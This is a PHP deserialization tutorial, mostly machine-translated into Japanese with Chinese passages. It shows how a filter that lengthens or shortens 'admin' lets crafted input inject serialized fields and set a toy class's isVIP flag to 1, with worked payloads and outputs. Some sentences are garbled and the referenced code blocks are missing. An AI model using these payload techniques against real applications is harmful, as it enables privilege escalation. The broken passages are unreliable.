開発者が最初にオブジェクトをシリアル化し、次にオブジェクトをオブジェクト文字でシリアル化する場合フィルタリングされ、最終的に逆シリアル化されます。現時点では、PHP の逆シリアル化文字エスケープに脆弱性が存在する可能性があります。
PHP デシリアライズ文字エスケープについては、次の 2 つの状況に分けて説明します。
フィルタリング後はさらに多くの文字が存在します
最初にuser クラスを定義し、その中に合計 3 つのメンバー変数があると仮定します。
ユーザー名、
パスワード、
isVIP。
class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } }このクラスが初期化されると、
isVIP 変数はデフォルトで
0 に設定され、初期化中に渡されるパラメーターの影響を受けないことがわかります。
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}ご覧のとおり、オブジェクトのシリアル化後の
isVIP 変数は
0 です。
function filter($s){ return str_replace("admin","hacker",$s); }したがって、プログラム全体は次のようになります: このプログラムの出力は次のとおりです:
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}この時点で、2 つのプログラムの出力を取り出して比較します:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //未过滤 O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已过滤
string の hacker は、前の文字の長さ <pre class="brush:php;toolbar:false">s:5:"admin";
s:5:"hacker";</pre>
に対応していません。現時点では、新しいオブジェクトを作成するときに、受信する
制御可能な変数 次に、目標を明確にします。
変数の値を 1
に変更します。まず、## を変更します。 # 既存の部分文字列
ターゲット部分文字列 を比較します:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串つまり、制御可能な変数 admin を注入する必要があります
ターゲット部分文字列。
最初に、挿入する必要がある ターゲット部分文字列の長さを計算します
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //以上字符串的长度为47エスケープする必要がある文字列の長さは 47 であるため、および
admin は各フィルタリング後に
hacker になります。つまり、
admin が表示されるたびに、
1 文字が追加されることになります。
したがって、制御可能な変数で
47
admin を繰り返し、エスケープされたターゲット部分文字列を追加します。制御可能な変数は次のように変更されます:
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}完全なコードは次のとおりです: プログラムの出力は次のとおりです:
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
ハッカー
の数を数えることができ、合計は47hacker、合計 282 文字。前の 282 に正確に対応します。 後ろに挿入された部分文字列もエスケープを完了するだけです。
デシリアライズ後、冗長な部分文字列は破棄されます
プログラムの出力は次のとおりです。次に、シリアル化の結果をデシリアライズして出力します。完全なコードは次のとおりです:
object(user)#2 (3) { ["username"]=> string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }この時点で、変数
isVIP
が1 になり、逆シリアル化文字がエスケープされていることがわかります。目的は次のとおりです。達成。
上記は、PHP デシリアライゼーション文字エスケープでより多くの文字が存在する状況を説明しています。
以下では、逆シリアル化文字のエスケープが減少する状況について説明します。 まず、本体のコードは上記と同じでクラスも同じですが、フィルター関数の中で、hacker を hack に変更している点が異なります。 完全なコードは次のとおりです: 結果を取得します:O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}また、
既存の部分文字列
とターゲットの部分文字列も比較します。 :
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串フィルタリング中に 5 文字が
4 まで削除されたため、文字数が増える上記の状況とは逆に、# を追加すると、 ##admin の数が増加すると、 既存の部分文字列 がインデントされます。 ターゲット部分文字列の長さを計算します :
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串 //长度为47
次に、 次の制御可能な変数までの文字列の長さを計算します :
";s:8:"password";s:6:" //长度为22
1 文字はフィルタリングのたびに欠落するため、最初に
admin文字を 22 回繰り返します (ここでの 22 回はエスケープ状況とは異なります)より多くの文字を使用すると正確であり、後で調整する必要がある場合があります) 完全なコードは次のとおりです: (ここの変数には合計 22 admin があります)
出力結果:
注:PHP デシリアライズの仕組みは、例えば文字数が 10 文字あるのに 9 文字しか読み込まれないと指定した場合、二重引用符に到達します。このとき、PHP はダブルクォーテーションを 10 文字目として扱い、つまりダブルクォーテーションで文字列が終了したかどうかを判断するのではなく、あらかじめ指定した番号に基づいて文字列を読み取ります。
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下:
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:
也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
完整代码为:
输出:
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105
造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确
解决办法是:多添加2个admin,这样就可以补上缺少的字符。
修改后代码如下:
输出结果为:
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
分析一下输出结果:
可以看到,这一下就对了。
我们将对象反序列化然后输出,代码如下:
得到结果:
object(user)#2 (3) { ["username"]=> string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }
可以看到,这个时候isVIP
的值也为1
,也就达到了我们反序列化字符逃逸的目的了
推荐学习:《PHP视频教程》
以上がPHP における逆シリアル化文字エスケープの原理の深い理解の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。